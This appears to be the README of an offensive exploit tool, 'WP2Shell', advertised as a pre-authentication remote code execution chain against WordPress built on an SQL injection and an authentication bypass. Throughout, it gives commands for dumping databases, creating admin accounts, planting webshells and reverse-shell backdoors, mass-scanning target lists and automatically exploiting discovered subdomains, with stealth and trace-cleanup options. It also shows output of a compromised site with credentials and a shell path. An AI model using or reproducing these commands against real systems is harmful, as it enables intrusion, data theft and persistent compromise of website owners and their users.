WP2Shell - WordPress Pre-Auth RCE Exploit

CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Author: G0D150NE

📌 Overview

WP2Shell is a full-chain exploit tool for WordPress pre-authentication remote code execution. It combines two critical vulnerabilities:

• CVE-2026-63030 - SQL Injection in REST API Batch endpoint
• CVE-2026-60137 - Authentication Bypass via oEmbed Cache Poisoning

This tool allows complete compromise of vulnerable WordPress installations without any authentication - from detection to full RCE and persistence.

⚡ Features

• 🔍 Non-destructive checking - Safe vulnerability confirmation
• 📊 Multi-technique extraction - UNION, Error-based, Blind SQLi
• 🚀 Full RCE chain - From SQLi to admin account creation
• 🐚 Webshell deployment - Hidden plugin-based backdoor
• 🧹 Cleanup capability - Remove all traces
• 📡 Mass scanning - Threaded scanner for multiple targets
• 🤖 Autopwn mode - Subdomain discovery + automatic exploitation
• 🌐 Proxy rotation - Support for rotating proxies
• 🕵️ Stealth mode - Random delays and WAF bypass techniques

🔧 Installation

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Usage

Command Structure

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Available Commands

Command	Description
check	Non-destructive vulnerability confirmation
read	Extract data via SQL injection
exploit	Full pre-auth RCE chain
shell	Deploy webshell with existing credentials
masscan	Mass scan multiple targets
autopwn	Automatic discovery → scan → exploit

🚀 Examples

1. Vulnerability Check

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Data Extraction

Basic fingerprint:

python3 wp2shell.py read https://target.com

Extract users:

python3 wp2shell.py read https://target.com --preset users

Custom query:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Dump entire database:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Full Exploitation

Basic exploit:

python3 wp2shell.py exploit https://target.com

Exploit with interactive shell:

python3 wp2shell.py exploit https://target.com --interactive

Exploit with backdoor installation:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit with database dump:

python3 wp2shell.py exploit https://target.com --dumpdb

Exploit with cleanup (remove traces):

python3 wp2shell.py exploit https://target.com --cleanup

4. Using Existing Admin Credentials

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Mass Scanning

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Autopwn Mode (Full Automation)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

This will:

1. Discover subdomains via crt.sh
2. Identify WordPress installations
3. Exploit all vulnerable sites
4. Install backdoors on successful targets

🎮 Interactive Shell

After exploitation, you get a full interactive shell:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Options Reference

Common Options

Option	Description
--timeout	HTTP timeout in seconds (default: 30)
--proxies	Comma-separated proxy list (e.g., http://127.0.0.1:8080)
--stealth	Enable stealth mode with random delays
-v, --verbose	Enable debug output
-q, --quiet	Suppress banner and info messages

Read Command Options

Option	Description
--prefix	Table prefix (default: wp_)
--auto-prefix	Auto-discover table prefix
--max-length	Max chars per value (default: 128)
--technique	Extraction technique: auto/union/error/blind
--preset	Data preset: fingerprint/users/dumpall
--query	Arbitrary SQL expression to extract

Exploit Command Options

Option	Description
--prefix	Table prefix (default: wp_)
--no-discover	Skip auto-discovery, use defaults
-i, --interactive	Drop into shell after exploitation
-c, --command	Execute single command after exploitation
--backdoor	Install persistence backdoor
--lhost	LHOST for reverse shell (default: 10.0.0.1)
--lport	LPORT for reverse shell (default: 4444)
--dumpdb	Dump database after exploitation
--cleanup	Delete created user and webshell on exit

🔬 Technical Details

Vulnerability Chain

1. SQL Injection (CVE-2026-63030)

   • Occurs in /wp-json/batch/v1 endpoint
   • author_exclude parameter vulnerable to time-based blind SQLi
   • Allows UNION and error-based extraction

2. Authentication Bypass (CVE-2026-60137)

   • oEmbed cache poisoning via /_embed parameter
   • Allows creating admin users through customizer changeset
   • Triggers re-entry chain for privileged account creation

Supported WordPress Versions

Version	Status
6.9.0	✅ Vulnerable
6.9.1	✅ Vulnerable
6.9.2	✅ Vulnerable
6.9.3	✅ Vulnerable
6.9.4	✅ Vulnerable
7.0.0	✅ Vulnerable
7.0.1	✅ Vulnerable
≥ 7.0.2	❌ Patched

Extraction Techniques

Technique	Speed	Data Size	Requirements
UNION	⚡ Very Fast	Unlimited	Target must not filter UNION
Error	🚀 Fast	~30 chars/req	Target must expose error messages
Blind	🐢 Slow	Unlimited	Boolean oracle available

📊 Output Examples

Successful Exploitation

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ Disclaimer